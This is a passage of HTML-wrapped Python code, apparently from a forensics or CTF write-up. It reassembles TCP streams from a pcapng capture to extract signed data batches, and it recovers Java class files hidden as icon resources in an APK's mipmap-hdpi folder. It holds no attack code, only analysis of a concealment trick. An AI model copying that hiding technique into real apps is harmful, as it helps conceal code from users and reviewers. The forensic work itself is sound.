26px;"><span leaf="">0</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> btype == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># EPB</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> linktype </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">is</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">or</span></span><span leaf=""> len(body) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">            _, _, _, caplen, _ = struct.unpack(endian + </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;IIIII&#34;</span></span><span leaf="">, body[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">            pkt_data = body[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">+caplen]</span><span leaf=""><br/></span><span leaf="">            packets.append(pkt_data)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> packets, linktype</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">parse_ipv4_from_pkt</span></span><span style="line-height: 26px;"><span leaf="">(pkt: bytes, linktype: int)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> linktype == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(pkt) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">24</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        fam = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&lt;I&#34;</span></span><span leaf="">, pkt[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> fam != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        ip = pkt[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">:]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> linktype == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(pkt) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">14</span></span><span leaf=""> + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        eth_type = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;H&#34;</span></span><span leaf="">, pkt[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">14</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> eth_type != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x0800</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        ip = pkt[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">14</span></span><span leaf="">:]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(ip) &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">    ver_ihl = ip[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ver_ihl &gt;&gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""> != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">    ihl = (ver_ihl &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xF</span></span><span leaf="">) * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span leaf="">    total = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;H&#34;</span></span><span leaf="">, ip[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    proto = ip[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">9</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> proto != </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">    src = ip[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    dst = ip[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(ip) &lt; ihl + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">    tcp = ip[ihl:total] </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> total &lt;= len(ip) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf=""> ip[ihl:]</span><span leaf=""><br/></span><span leaf="">    sport, dport, seq = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;HHI&#34;</span></span><span leaf="">, tcp[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">    off_flags = struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;H&#34;</span></span><span leaf="">, tcp[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">14</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    off = (off_flags &gt;&gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">) * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span leaf="">    payload = tcp[off:]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> src, sport, dst, dport, seq, payload</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">reassemble_tcp</span></span><span style="line-height: 26px;"><span leaf="">(segs)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    segs = sorted(segs, key=</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x: x[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">    out = bytearray()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> segs:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    cur = segs[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">][</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> seq, pay </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> segs:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> pay:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> seq &gt; cur:</span><span leaf=""><br/></span><span leaf="">            out.extend(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\x00&#34;</span></span><span leaf=""> * (seq - cur))</span><span leaf=""><br/></span><span leaf="">            cur = seq</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> seq &lt; cur:</span><span leaf=""><br/></span><span leaf="">            cut = cur - seq</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> cut &gt;= len(pay):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">            pay = pay[cut:]</span><span leaf=""><br/></span><span leaf="">        out.extend(pay)</span><span leaf=""><br/></span><span leaf="">        cur += len(pay)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(out)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">extract_batches_from_pcap</span></span><span style="line-height: 26px;"><span leaf="">(pcapng: Path)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    pkts, linktype = read_pcapng_packets(pcapng)</span><span leaf=""><br/></span><span leaf="">    streams = {}</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> pkts:</span><span leaf=""><br/></span><span leaf="">        res = parse_ipv4_from_pkt(p, linktype)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> res:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">        src, sport, dst, dport, seq, payload = res</span><span leaf=""><br/></span><span leaf="">        key = (src, sport, dst, dport)</span><span leaf=""><br/></span><span leaf="">        streams.setdefault(key, []).append((seq, payload))</span><span leaf=""><br/></span><span leaf="">    batches = {}</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> k, segs </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> streams.items():</span><span leaf=""><br/></span><span leaf="">        data = reassemble_tcp(segs)</span><span leaf=""><br/></span><span leaf="">        pos = data.find(SIG)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> pos == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">-1</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">        batch_idx, _, _, _ = parse_batch(data[pos:])</span><span leaf=""><br/></span><span leaf="">        batches[batch_idx] = data[pos:]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> batches</span><span leaf=""><br/></span><span leaf="">MAGIC_CLASS = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">b&#34;\xCA\xFE\xBA\xBE&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">_u1</span></span><span style="line-height: 26px;"><span leaf="">(b, o)</span></span><span leaf="">:</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> b[o], o+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">_u2</span></span><span style="line-height: 26px;"><span leaf="">(b, o)</span></span><span leaf="">:</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> struct.unpack(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&gt;H&#34;</span></span><span leaf="">, b[o:o+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">])[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">], o+</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">class_internal_name</span></span><span style="line-height: 26px;"><span leaf="">(class_bytes: bytes)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> class_bytes[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">] != MAGIC_CLASS:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;not class&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    o = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span leaf="">    _, o = _u2(class_bytes, o)  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># minor</span></span><span leaf=""><br/></span><span leaf="">    _, o = _u2(class_bytes, o)  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># major</span></span><span leaf=""><br/></span><span leaf="">    cp_count, o = _u2(class_bytes, o)</span><span leaf=""><br/></span><span leaf="">    cp = [</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf="">] * cp_count</span><span leaf=""><br/></span><span leaf="">    i = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> i &lt; cp_count:</span><span leaf=""><br/></span><span leaf="">        tag, o = _u1(class_bytes, o)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> tag == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Utf8</span></span><span leaf=""><br/></span><span leaf="">            ln, o = _u2(class_bytes, o)</span><span leaf=""><br/></span><span leaf="">            s = class_bytes[o:o+ln].decode(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;utf-8&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            o += ln</span><span leaf=""><br/></span><span leaf="">            cp[i] = (</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;utf8&#34;</span></span><span leaf="">, s)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> tag </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            o += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> tag </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            o += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf=""><br/></span><span leaf="">            i += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> tag == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            ni, o = _u2(class_bytes, o)</span><span leaf=""><br/></span><span leaf="">            cp[i] = (</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;class&#34;</span></span><span leaf="">, ni)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> tag </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">19</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            o += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> tag </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">9</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">11</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">12</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">17</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">18</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            o += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> tag == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">15</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            o += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;unknown cp tag </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{tag}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        i += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">    _, o = _u2(class_bytes, o)</span><span leaf=""><br/></span><span leaf="">    this_cls, o = _u2(class_bytes, o)</span><span leaf=""><br/></span><span leaf="">    _, name_idx = cp[this_cls]</span><span leaf=""><br/></span><span leaf="">    _, name = cp[name_idx]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> name</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">recover_classes_from_apk</span></span><span style="line-height: 26px;"><span leaf="">(apk: Path, out_classes: Path)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> out_classes.exists():</span><span leaf=""><br/></span><span leaf="">        shutil.rmtree(out_classes)</span><span leaf=""><br/></span><span leaf="">    out_classes.mkdir(parents=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">, exist_ok=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">with</span></span><span leaf=""> zipfile.ZipFile(apk, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;r&#34;</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">as</span></span><span leaf=""> z:</span><span leaf=""><br/></span><span leaf="">        tmp = out_classes.parent / </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;_apk_unpack&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> tmp.exists():</span><span leaf=""><br/></span><span leaf="">            shutil.rmtree(tmp)</span><span leaf=""><br/></span><span leaf="">        z.extractall(tmp)</span><span leaf=""><br/></span><span leaf="">    mip = </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> tmp.rglob(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;mipmap-hdpi&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        mip = p</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> mip </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">is</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> RuntimeError(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;cannot find mipmap-hdpi in apk&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    cnt = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> f </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> mip.iterdir():</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> f.is_file():</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">        b = f.read_bytes()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> b[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">] != MAGIC_CLASS:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">        name = class_internal_name(b)</span><span leaf=""><br/></span><span leaf="">        dst = out_classes / (name + </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;.class&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        dst.parent.mkdir(parents=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">, exist_ok=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        dst.write_bytes(b)</span><span 